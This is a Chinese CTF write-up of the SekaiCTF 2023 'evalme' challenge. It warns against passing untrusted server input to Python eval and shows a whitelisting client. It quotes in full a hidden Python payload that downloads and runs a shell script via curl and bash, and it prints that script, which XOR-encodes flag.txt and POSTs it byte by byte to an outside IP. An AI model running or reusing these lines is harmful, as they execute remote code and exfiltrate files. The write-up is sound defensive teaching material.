sekaiCTF2023 - evalme (这个题需要修一下环境)

Lysithea 2023-12-07 16:46:00 639 0


题目分为两个部分,一个nc端口,一个流量包。流量包打开之后,可以看到有一些HTTP流量,是和`35.196.65.151`这个服务器通信,每次POST的都是一个JSON,`{"data":"xx"}`,其中xx是一个字节的hex,返回报文都是`{“ok”:true}`。POST出去的内容似乎不是任何一个已知的文件格式或加密方式。

接下来看nc端口,看起来是一个简单的加减乘除速算,有时间限制,重复连几次会发现结果是随机的。结合题目标题【eval me】的提示,似乎是要我们写个简单的pwntools脚本,把服务器返回的结果eval一下……

等等,你有没有觉得不太对劲?

万一服务器给我们执行的命令里加料了怎么办?永远不要把未经检查的字符串送进eval里,即使是在打CTF题的途中。

于是我简单写了个沙箱,一方面是字符白名单,另外一方面在eval时把`__builtins__`也置空(不过这个用处有限):

conn = remote('82.157.146.43', 15825)
context.log_level = 'debug'

conn.recvline_contains('Do it 100 times')
conn.recvline()

for i in range(100):
    q = conn.recvline(keepends=False).decode()
    if q == 'correct':
        q = conn.recvline(keepends=False).decode()
    
    # get rid of malicious
    # if '\r#' in q:
    #     q = q[q.index('\r') + 2:]

    if all([c in '0123456789+-*/ ' for c in q]):
        res = eval(q, {'__builtins__': None})
        conn.sendline(str(res).encode())
    else:
        print('safebox not passed', i, q)
        break

conn.interactive()


结果果然,在大概第71个位置拦截了个重量级代码:`__import__("subprocess").check_output("(curl -sL https://shorturl.at/fgjvU -o extract.sh && chmod +x extract.sh && bash extract.sh && rm -f extract.sh)>/dev/null 2>&1||true",shell=True) \r#1 + 2`。

熟悉python沙箱逃逸的师傅肯定秒懂了,这个会执行shell命令,从那个shorturl里curl下载一个extract.sh的shell代码,执行后把自己删掉,并且通过重定向和返回值让执行不留痕迹。我还尝试用在线服务把shorturl展开看了一下,原来的URL是https://storage.googleapis.com/sekaictf-2023/ab6a26cba39934bbe810f3718c4fa13f/kittens.png,是主办方给的URL,目前已经不在了。我从赛事的一份writeup里 (https://meashiri.github.io/ctf-writeups/posts/202308-sekaictf/#eval-me)找到了原本的extract.sh ,当然这个shell本身基本是无害的哈,传统功夫讲究点到为止。


#!/bin/bash
    FLAG=$(cat flag.txt)
    KEY='s3k@1_v3ry_w0w'
    # Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
    Asc() { printf '%d' "'$1"; }

    XOREncrypt(){
        local key="$1" DataIn="$2"
        local ptr DataOut val1 val2 val3

        for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do

            val1=$( Asc "${DataIn:$ptr:1}" )
            val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

            val3=$(( val1 ^ val2 ))

            DataOut+=$(printf '%02x' "$val3")
        done

        echo $DataOut

        for ((i=0;i<${#DataOut};i+=2)); do
        BYTE=${DataOut:$i:2}
        echo $BYTE 
        echo curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
        done
    }

    echo XOREncrypt $KEY $FLAG
    XOREncrypt $KEY $FLAG

    exit 0


所以其实就是把flag.txt的内容和key做cyclic xor之后发送给那个服务器。于是我们理解了抓包时拿到的包的含义,逆向的代码也很简单,这里就不给出了。

总结:

eval前记得做检查!eval前记得做检查!eval前记得做检查!重要事情说三遍

给bugku工作人员:感觉这个题还挺有教育意义的,如果可以的话希望能把环境修一下,把这个extract.sh重新部署一份,辛苦

分类:MISC
image
作者:Lysithea

5

提交

0

收入

相关WriteUP

问题反馈